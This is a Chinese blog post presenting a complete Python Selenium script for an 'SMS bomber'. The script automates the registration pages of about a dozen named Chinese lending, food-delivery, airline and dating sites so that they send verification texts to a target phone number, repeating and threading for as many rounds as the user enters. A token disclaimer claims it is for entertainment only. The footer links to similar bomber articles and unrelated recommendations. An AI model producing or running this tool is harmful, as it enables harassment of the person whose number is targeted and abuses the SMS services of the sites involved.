Python 实现短信轰炸机
原理其实很简单,就是利用selenium包打开各种网站的注册页,输入轰炸的号码,实现轰炸。其实也算是利用了注册漏洞。申明:仅娱乐使用,禁止️用于非法用途!若用于非法用途,后果及法律责任博主一律不承担
from selenium import webdriver
from selenium.webdriver import ActionChains
import time
import threading #360借条
def send_360(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.360jie.com.cn/')
browser.find_element_by_name("mobile").send_keys(phon_num)
browser.find_element_by_id('btnSendCode1').click()
time.sleep(5)
browser.close() #拍拍贷
def send_paipai(phon_num): option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
key = "8263abd"
browser.get("https://account.ppdai.com/pc/login")
browser.find_element_by_class_name("login_toRegister").click()
browser.find_element_by_name("Mobile").send_keys(phon_num)
browser.find_element_by_name("Password").send_keys(key)
browser.find_element_by_id("getvefydata").click()
time.sleep(5)
browser.close() #饿了么开放平台
def send_ele(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://open.shop.ele.me/openapi/register')
browser.find_element_by_class_name('el-checkbox__inner').click()
time.sleep(3)
browser.find_element_by_xpath("//*[@class='el-button btn-next-step el-button--primary']").click()
time.sleep(4)
browser.find_element_by_class_name('el-input__inner').send_keys(phon_num)
browser.find_element_by_class_name('btn-verifyCode').click()
time.sleep(4)
browser.close() #瓜子二手车
def send_guazi(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome()
browser.get('https://www.guazi.com/nanchong/')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='close js-close-finance-pop']").click()
time.sleep(2)
browser.find_element_by_id('js-login-new').click()
time.sleep(1)
browser.find_element_by_name('phone').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_class_name('get-code').click()
time.sleep(4)
browser.close() #凤凰智信
def send_fenghuang(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.fengwd.com/')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='top-bar-item login-tag']/a").click()
time.sleep(2)
browser.find_element_by_id('mobile_number').send_keys(phon_num)
browser.find_element_by_xpath("//*[@class='get-sms-captcha blue']").click()
time.sleep(4)
browser.close() #众房宝
def send_zongfangbao(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.zonefang.com/member/common/register')
time.sleep(1)
browser.find_element_by_class_name('phone').send_keys(phon_num)
time.sleep(2)
browser.find_element_by_class_name('pwd').send_keys('123456ydsa')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='send_msg hand']").click()
time.sleep(4)
browser.close() #百合相亲网
def send_baihe(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://my.baihe.com/register/?spm=2.13.24.69.99')
time.sleep(1)
browser.find_element_by_id('account').send_keys(phon_num)
browser.find_element_by_id('mobileValiCode_btn').click()
time.sleep(4)
browser.close() #四川航空
def send_sichuanair(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://flights.sichuanair.com/3uair/ibe/profile/createProfile.do')
browser.find_element_by_name('mobilePhone').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_id('sendSmsCode').click()
time.sleep(6)
browser.close() #昆明航空
def send_airkunming(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.airkunming.com/#/user/register')
browser.find_element_by_id('mobile').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_xpath("//*[@class='sms-code']").click()
time.sleep(4)
browser.close() #有赞开放平台
def send_youzan(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://console.youzanyun.com/register')
browser.find_element_by_xpath("//*[@class = 'zent-input phone']").send_keys(phon_num)
time.sleep(1)
browser.find_element_by_xpath("//*[@class = 'sms-btn']").click()
time.sleep(4)
browser.close() #安徽相亲网
def send_anhuixiangiqn(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://www.ahxiangqin.cn/index.php?c=passport&a=reg')
browser.find_element_by_name('mobile').send_keys([phon_num])
time.sleep(1)
#browser.find_element_by_class_name('action-send-mobile-code get').click()
browser.find_element_by_xpath("//*[@class = 'action-send-mobile-code get']").click()
time.sleep(4)
browser.close() #我主良缘
def send_wozhuliangyuan(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://m.7799520.com/register.html')
browser.find_element_by_name('mobile').send_keys([phon_num])
time.sleep(1)
bu = browser.find_elements_by_tag_name('button')
for i in bu:
i.click()
time.sleep(2)
browser.close() if __name__ == "__main__":
phon_num = input('输入轰炸的手机号:')
run_roll = input('轰炸循环次数:')
run_roll = int(run_roll)
for _ in range(run_roll):
#threading.Thread(target = send_baihe(phon_num)).start()
threading.Thread(target = send_360(phon_num)).start()
#threading.Thread(target = send_paipai(phon_num)).start()
threading.Thread(target = send_ele(phon_num)).start()
#threading.Thread(target = send_guazi(phon_num)).start()
threading.Thread(target = send_fenghuang(phon_num)).start()
#threading.Thread(target = send_zongfangbao(phon_num)).start()
threading.Thread(target = send_sichuanair(phon_num)).start()
threading.Thread(target = send_airkunming(phon_num)).start()
threading.Thread(target = send_youzan(phon_num)).start()
threading.Thread(target = send_anhuixiangiqn(phon_num)).start()
threading.Thread(target = send_wozhuliangyuan(phon_num)).start()
time.sleep(4)
Python 实现短信轰炸机的更多相关文章
- 使用Selennium实现短信轰炸机
前言 可以用来轰炸一下骗子,但最好不要乱用.本来初学Python,仅当学习. selenium和ChromeDriver的安装与配置 可参考这篇博客,这里不再赘述. 程序实现 短信轰炸机的原理是利用一 ...
- Python3实现短信轰炸机
短信轰炸机的基本原理:利用某些限制不严格的网站短信注册接口,用Python模拟请求,传入被炸人手机号码,实现轰炸 实现方式:利用requests模块.time模块.完成请求模拟 模块安装: 在终端窗口 ...
- 键盘上的"整蛊专家",如何防止短信轰炸机
"短信轰炸机",是别人通过爬虫或者其他抓取手段在网路上收集那些公司平台短信业务接口的一个集成程序,可能只需要输入一个手机号,对方一整天都会收到各大平台的注册或提醒短信,就是手机在那 ...
- Python发送短信提醒
Python发送短信可借助腾讯云平台提供的短信服务 发送短信需要的及格参数: 1.SDK_AppID和SDK_Key 2.签名: 3.模板ID 下面贴出源码DEMO: from qcloudsms_p ...
- 使用python进行短信轰炸
本文作者:i春秋作家——Hacker1ee 大家好,我是1ee(因为在作家群,就不加Hacker这个前缀了,怕被大佬打..) 刚加入i春秋作家组希望大家多多关照,也欢迎大家找我交流 今天我来讲讲我最近 ...
- python短信轰炸机版本smsbomb----------部分(post)
用一些用手机号注冊且须要发送验证码的站点的漏洞.能够向不论什么人的手机号发送短信,当然短信内容,我们无法控制.所以主要工作还是寻找这种站点.然后利用Fiddler或者HttpWatch分析请求.使用p ...
- 使用python实现短信PDU编码
前几天入手一个3G模块,便倒腾了一下.需要发送中英文混合短信,所以采用PDU模式(不了解google ^_^). 最大问题当然就是拼接PDU编码(python这么强大,说不定有模块),果不其然找到一个 ...
- DAY3 python群发短信
手机轰炸,burpsuit 抓取注册页面输入的手机号,然后每点击一次forword ,都开开始放行,发短信.也可以发到repeat 里面进行 ,重复发送短信. import requests impo ...
- python发送短信验证码
业务: 手机端点击发送验证码,请求发送到python端,由python调用第三方平台(我们使用的是榛子云短信http://smsow.zhenzikj.com)的短信接口,生成验证码并发送. SDK下 ...
随机推荐
- Java实现 LeetCode 547 朋友圈(并查集?)
547. 朋友圈 班上有 N 名学生.其中有些人是朋友,有些则不是.他们的友谊具有是传递性.如果已知 A 是 B 的朋友,B 是 C 的朋友,那么我们可以认为 A 也是 C 的朋友.所谓的朋友圈,是指 ...
- Java实现蓝桥杯VIP算法训练 二元函数
试题 算法训练 二元函数 资源限制 时间限制:1.0s 内存限制:256.0MB 问题描述 令二元函数f(x,y)=ax+by,a和b为整数,求一个表达式S的值. 只有满足以下要求的表达式才是合法的: ...
- java实现正六面体染色
** 正六面体染色** 正六面体用4种颜色染色. 共有多少种不同的染色样式? 要考虑六面体可以任意旋转.翻转. 参考答案: 240 Burnside引理,正方体涂色问题 (n^6 + 3*n^4 + ...
- MMDVM中继板测试软件MMDVMCal
运行方法: 只支持windows 64位系统 32位下载:https://share.weiyun.com/52uHAO5 64位下载:https://share.weiyun.com/5IgdqvL ...
- linux系统判断内存是否达到瓶颈的小技巧
1.linux下最常用的系统状态监控工具top 工具,可以使用top -c 来进行查看当前内存的占用情况 free 为内存的剩余状态,当前为3.8G的空闲内存,总的物理内存是8G,按键 shift+m ...
- .NET 技术栈 思维导图
背景介绍 根据网上招聘网站的一些.NET技能需求,画了一个图,便于在自修和学习的过程当中有一个方向. 技能栈 Web front-end o 框架技术 ▣ Vue ▣ Bootstrap ▣ LayU ...
- Hive中row_number()、dense_rank()、rank()的区别
摘要 本文对Hive中常用的三个排序函数row_number().dense_rank().rank()的特性进行类比和总结,并通过笔者亲自动手写的一个小实验,直观展现这三个函数的特点. 三个排序函数 ...
- PAT 1041 Be Unique (20分)利用数组找出只出现一次的数字
题目 Being unique is so important to people on Mars that even their lottery is designed in a unique wa ...
- RabbitMQ系列之【CentOS6.5安装RabbitMQ】
环境准备 操作系统:CentOS 6.5 Final RabbitMQ: 3.1.5 Python: 2.7.11 ErLang: R16B02 安装预环境(少什么安装什么) yum -y insta ...
- call,apply,bind的理解
2020-03-19 call,apply,bind的理解 先说区别call, apply基本上没什么不一样,唯一不一样的地方是传参方式不同 但是bind和call,apply有区别.bind是重新绑 ...